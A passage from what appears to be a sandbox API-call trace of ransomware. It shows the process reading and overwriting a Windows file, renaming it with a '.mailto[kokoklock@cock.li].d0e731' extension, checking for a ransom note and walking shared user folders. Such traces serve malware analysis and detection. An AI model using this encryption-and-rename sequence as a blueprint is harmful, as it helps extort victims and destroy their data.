RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0062.252] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.252] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.252] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0062.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0062.252] RtlExitUserThread (Status=0x1) Thread: id = 132 os_tid = 0x1080 [0062.246] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe")) returned 0x20 [0062.247] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe", dwFileAttributes=0x20) returned 1 [0062.253] CreateFileW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0062.253] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x8e2f874 | out: lpFileSize=0x8e2f874*=25800) returned 1 [0062.253] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x64c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.253] ReadFile (in: hFile=0x5cc, lpBuffer=0x8e2f848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x8e2f848*, lpNumberOfBytesRead=0x8e2f844*=0x4, lpOverlapped=0x0) returned 1 [0062.254] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0062.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca10 [0062.254] NtQuerySystemTime (in: CurrentTime=0x8e2f820 | out: CurrentTime=0x8e2f820*=132121176201488485) returned 0x0 [0062.254] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xcf45e940 [0062.254] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x7e35e35d [0062.254] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xadf6a4f6 [0062.254] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x8c2118c7 [0062.254] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x7201ae5a [0062.254] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xa930acca [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xdfadf64d [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xa18b5ea3 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x79b1feea [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xbcb517d8 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x30f86a74 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x4f87cc55 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x99d19557 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x8cb211ab [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x5b632e89 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xa80ddf5d [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x697802e9 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xda7d040e [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x20e39983 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xdf83573c [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x42086007 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x5559fb09 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x5b7da741 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xabc94d7e [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x30c82cb5 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x2e9d977d [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x936827fc [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x802cc86e [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x5d2eac42 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0xf263266b [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x4ad5c925 [0062.255] RtlRandom (in: Seed=0x8e2f82c | out: Seed=0x8e2f82c) returned 0x4b0bb345 [0062.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca88 [0062.266] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.266] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.266] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.266] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8e2f7f8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8e2f7f8*=0x4096, lpOverlapped=0x0) returned 1 [0062.267] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0062.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0062.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.268] WriteFile (in: hFile=0x5cc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8e2f7f8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8e2f7f8*=0x4096, lpOverlapped=0x0) returned 1 [0062.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.268] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x64c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8e2f830, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x8e2f830*=0x20, lpOverlapped=0x0) returned 1 [0062.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x347ca88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x347ca88*, lpNumberOfBytesWritten=0x8e2f844*=0x8, lpOverlapped=0x0) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x8e2f85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x8e2f85c*, lpNumberOfBytesWritten=0x8e2f844*=0x4, lpOverlapped=0x0) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8e2f844*=0x4, lpOverlapped=0x0) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8e2f844*=0x6c, lpOverlapped=0x0) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x8e2f844*=0x20, lpOverlapped=0x0) returned 1 [0062.269] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8e2f844, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8e2f844*=0x4, lpOverlapped=0x0) returned 1 [0062.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0062.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca88) returned 1 [0062.269] CloseHandle (hObject=0x5cc) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33e21c8 [0062.272] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\Windows10Upgrade\\WinREBootApp64.exe" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp64.exe") returned="C:\\Windows10Upgrade\\WinREBootApp64.exe" [0062.272] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731" [0062.272] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe"), lpNewFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.272] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0062.273] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe", dwFileAttributes=0x20) returned 0 [0062.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33ca4f8 [0062.273] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.273] wcscat (in: _Dest=0x33ca4f8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.273] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0062.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca550) returned 1 [0062.273] RtlExitUserThread (Status=0x1) Thread: id = 133 os_tid = 0x108c [0062.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433968 [0062.894] wcscpy (in: _Dest=0x3433968, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0062.894] wcscat (in: _Dest=0x3433968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0062.894] wcscat (in: _Dest=0x3433968, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\*") returned="C:\\Users\\All Users\\Adobe\\*" [0062.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d190 [0062.894] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433be8 [0062.894] wcscmp (_String1=".", _String2=".") returned 0 [0062.894] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.894] wcscmp (_String1="..", _String2=".") returned 1 [0062.894] wcscmp (_String1="..", _String2="..") returned 0 [0062.894] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0062.894] wcscmp (_String1="ARM", _String2=".") returned 1 [0062.894] wcscmp (_String1="ARM", _String2="..") returned 1 [0062.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd1f0 [0062.895] wcscpy (in: _Dest=0x33fd1f0, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0062.895] wcscat (in: _Dest=0x33fd1f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0062.895] wcscat (in: _Dest=0x33fd1f0, _Source="ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0063.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0063.594] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0063.594] FindClose (in: hFindFile=0x3433be8 | out: hFindFile=0x3433be8) returned 1 [0063.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d190) returned 1 [0063.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433968) returned 1 [0063.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e05d8) returned 1 [0063.594] RtlExitUserThread (Status=0x0) Thread: id = 134 os_tid = 0x1090 [0062.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433f68 [0062.895] wcscpy (in: _Dest=0x3433f68, _Source="C:\\Users\\All Users\\Comms" | out: _Dest="C:\\Users\\All Users\\Comms") returned="C:\\Users\\All Users\\Comms" [0062.895] wcscat (in: _Dest=0x3433f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Comms\\") returned="C:\\Users\\All Users\\Comms\\" [0062.895] wcscat (in: _Dest=0x3433f68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Comms\\*") returned="C:\\Users\\All Users\\Comms\\*" [0062.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0062.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fa8 [0062.896] wcscmp (_String1=".", _String2=".") returned 0 [0062.896] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.896] wcscmp (_String1="..", _String2=".") returned 1 [0062.896] wcscmp (_String1="..", _String2="..") returned 0 [0062.896] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.897] FindClose (in: hFindFile=0x3433fa8 | out: hFindFile=0x3433fa8) returned 1 [0062.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0062.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433f68) returned 1 [0062.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b28) returned 1 [0062.897] RtlExitUserThread (Status=0x0) Thread: id = 135 os_tid = 0x1094 [0062.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcdb8 [0062.898] wcscpy (in: _Dest=0x33fcdb8, _Source="C:\\Users\\All Users\\Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0062.898] wcscat (in: _Dest=0x33fcdb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Desktop\\") returned="C:\\Users\\All Users\\Desktop\\" [0062.898] wcscat (in: _Dest=0x33fcdb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Desktop\\*") returned="C:\\Users\\All Users\\Desktop\\*" [0062.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0062.898] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0062.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0062.899] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0062.899] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c68) returned 1 [0062.899] RtlExitUserThread (Status=0x0) Thread: id = 136 os_tid = 0x1098 [0062.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fcdb8 [0062.900] wcscpy (in: _Dest=0x33fcdb8, _Source="C:\\Users\\All Users\\Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0062.900] wcscat (in: _Dest=0x33fcdb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Documents\\") returned="C:\\Users\\All Users\\Documents\\" [0062.900] wcscat (in: _Dest=0x33fcdb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Documents\\*") returned="C:\\Users\\All Users\\Documents\\*" [0062.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0062.900] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0062.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0062.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0062.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.900] RtlExitUserThread (Status=0x0) Thread: id = 137 os_tid = 0x109c [0062.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fcdb8 [0062.902] wcscpy (in: _Dest=0x33fcdb8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0062.902] wcscat (in: _Dest=0x33fcdb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0062.902] wcscat (in: _Dest=0x33fcdb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\*") returned="C:\\Users\\All Users\\Microsoft\\*" [0062.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0062.903] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b28 [0062.903] wcscmp (_String1=".", _String2=".") returned 0 [0062.903] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.903] wcscmp (_String1="..", _String2=".") returned 1 [0062.903] wcscmp (_String1="..", _String2="..") returned 0 [0062.903] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1 [0062.903] wcscmp (_String1="AppV", _String2=".") returned 1 [0062.903] wcscmp (_String1="AppV", _String2="..") returned 1 [0062.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x33fa3c8 [0062.903] wcscpy (in: _Dest=0x33fa3c8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" 